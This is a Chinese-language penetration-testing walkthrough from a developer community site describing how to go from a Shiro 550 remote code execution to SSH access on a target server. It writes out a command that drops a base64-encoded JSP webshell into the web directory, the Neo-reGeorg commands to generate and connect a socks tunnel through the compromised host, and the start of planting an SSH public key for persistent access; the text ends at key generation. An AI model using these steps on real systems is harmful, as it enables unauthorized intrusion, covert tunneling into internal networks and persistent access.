实战 | 渗透测试从 RCE 到 SSH 登录 - 文章 - 开发者社区

本文仅作为技术讨论及分享，严禁用于任何非法用途。

前言

在渗透测试中，拿到 webshell 后执行命令总会碰到很多不便，而使用 ssh 登录则会方便许多。相比使用 webshell 工具执行命令，ssh 连接可以有命令提示、路径补全、支持二次交互等优势，本文记录一个从 WEB RCE 漏洞到 SSH 登录的姿势。

过程Getshell

首先通过 Shiro 550 得到一个 shell

picture.image

因为网站不出网，所以不能直接反弹 shell，通过 base64 写入 webshell 到 web 目录


        
            

          echo <base64 webshell> |base64 -d > webapps/uploadImg/shell.jsp;ls -lah

架设代理

网站不出网，所以需要架设 socks 代理访问 ssh 端口及内网主机，这里使用 Neo-reGeorg。首次使用，先生成自己密码的 neoreg 服务端代码


        
 `python3 neoreg.py generate -k <your-password>`

执行后在 neoreg_servers 找到对应服务端语言的文件，这里是 tunnel.jsp，然后通过上面的 shell 上传到目标服务器 web 目录上，再通过 neoreg 连接


        
  `# -k 指定连接密码，就是生成时用的密码`
  `# -u tunnel.jsp 的url`
  `# --skip 忽略https证书错误`
  `# -l 本地socks服务监听ip`
  `# -p 本地socks服务监听端口`
  `python3 neoreg.py -k <your-password> -u https://xxx.com/uploadImg/tunnel.jsp --skip -l 0.0.0.0 -p 30080`

写入 ssh 公钥

为了尽量少修改服务器配置，通过写入 ssh 公钥可以不修改密码或者破解密码的情况下连接上 ssh。这里使用 xshell 生成秘钥对，默认选项生成就可以了，shell 会自动保存秘钥对，当然使用 ssh-keygen 也是可以的

picture.image